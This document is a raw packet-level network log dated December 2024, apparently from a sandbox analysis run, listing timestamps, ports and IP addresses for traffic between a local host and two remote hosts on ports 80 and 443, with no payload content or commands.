Dec 12, 2024 14:26:58.835627079 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.839713097 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.839755058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.839802980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.839802980 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.843297958 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.843338966 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.843379021 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.843379021 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.846745014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.846777916 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.846812963 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.846880913 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.850431919 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.850518942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.850555897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.850555897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.854219913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.854289055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.854424953 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.854681969 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.857950926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.858038902 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.858067989 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.858107090 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.861598015 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.861653090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.861676931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.861757040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.865456104 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.865526915 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.865560055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.865645885 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.869113922 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.869141102 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.869199038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.869199038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.872823000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.872883081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.872926950 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.872977972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.876523972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.876610041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.876621962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.876694918 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.880331039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.880388021 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.880445004 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.880486012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.883985043 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.884083986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.884120941 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.884120941 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.887845039 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.887881994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.887900114 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.887944937 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.891432047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.891529083 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.891594887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.891712904 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.895184994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.895232916 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.895236969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.895293951 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.899018049 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.899084091 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.899101973 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.899240017 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.902806997 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.902822018 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.902900934 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.902900934 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.906399965 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.906529903 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.906573057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.906620026 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.910166979 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.910180092 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.910223007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.910283089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.913819075 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.913866043 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.913880110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.913929939 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.918260098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.918325901 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.918353081 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.918445110 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.921313047 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.921350002 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:58.921395063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:58.921395063 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.006624937 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.006688118 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.006781101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.006850004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.008300066 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.008357048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.008358955 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.008404016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.011559010 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.011656046 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.012773037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.012828112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.012866974 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.012907982 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.016098022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.016163111 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.016212940 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.016266108 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.019293070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.019376040 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.019403934 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.019452095 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.022383928 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.022432089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.022492886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.022766113 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.025480032 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.025527954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.025577068 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.025644064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.028428078 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.028503895 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.028568029 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.028626919 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.031372070 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.031428099 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.031451941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.031492949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.034240961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.034363031 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.034399986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.034399986 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.036791086 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.036812067 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.037082911 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.037245035 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.037267923 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.037323952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.037323952 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.038058996 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.039899111 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.039938927 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.040055037 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.040075064 CET	49877	443	192.168.2.4	149.154.167.99
Dec 12, 2024 14:26:59.040244102 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.042597055 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.042634964 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.042644978 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.042680979 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.045329094 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.045387983 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.045393944 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.045427084 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.048012972 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.048146009 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.048186064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.048186064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.050673962 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.050731897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.050787926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.051337004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.053379059 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.053453922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.053482056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.053527117 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.055955887 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.056052923 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.056097984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.056097984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.058569908 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.058633089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.058690071 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.058739901 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.061232090 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.061321020 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.061317921 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.061397076 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.063875914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.063996077 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.064017057 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.064043045 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.066592932 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.066715956 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.066720009 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.066752911 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.069122076 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.069191933 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.069231987 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.069294930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.071762085 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.071894884 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.071938038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.071938038 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.074480057 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.074549913 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.074580908 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.074609041 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.077043056 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.077100039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.077168941 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.077224016 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.079639912 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.079680920 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.079750061 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.080060005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.082473040 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.082485914 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.082530022 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.082555056 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.083332062 CET	443	49877	149.154.167.99	192.168.2.4
Dec 12, 2024 14:26:59.084954023 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.084992886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.085088968 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.085261106 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.087572098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.087611914 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.087646008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.087698936 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.090346098 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.090358019 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.090384007 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.090420961 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.092813969 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.092827082 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.092911005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.092911005 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.095438957 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.095499039 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.095551014 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.095618963 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.098069906 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.098134041 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.098160028 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.098171949 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.100723982 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.100768089 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.101052046 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.101100922 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.103348017 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.103391886 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.103471994 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.103512049 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.106004000 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.106040001 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.106075048 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.106254101 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.108680964 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.108720064 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.108802080 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.108834028 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.111489058 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.111526012 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.111574888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.111675024 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.114463091 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.114506006 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.114548922 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.114600897 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.116799116 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.116806030 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.116857052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.116857052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.119539976 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.119551897 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.119576931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.119641066 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.121790886 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.121829987 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.121901989 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.121967077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.124466896 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.124531984 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.124567986 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.125317097 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.127135992 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.127243996 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.127285004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.127285004 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.130275011 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.130314112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.130321980 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.130422115 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.132755995 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.132769108 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.132813931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.132813931 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.135520935 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.135555983 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.135591030 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.135714054 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.138166904 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.138196945 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.138215065 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.138273954 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.140676022 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.140713930 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.140739918 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.140813112 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.142891884 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.142929077 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.142972946 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.143342018 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.145481110 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.145514965 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.145598888 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.145730972 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.148130894 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.148287058 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.200120926 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.200202942 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.200216055 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.200371981 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.201141119 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.201183081 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.201292038 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.201359034 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.202667952 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.202707052 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.202867985 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.203329086 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.204968929 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.205070019 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.205132008 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.205657959 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.207138062 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.207309961 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.207329035 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.207341909 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.208832026 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.208868027 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.208888054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.209091902 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.210679054 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.210769892 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.210777044 CET	80	49878	31.41.244.11	192.168.2.4
Dec 12, 2024 14:26:59.210814953 CET	49878	80	192.168.2.4	31.41.244.11
Dec 12, 2024 14:26:59.212656975 CET	80	49878	31.41.244.11	192.168.2.4
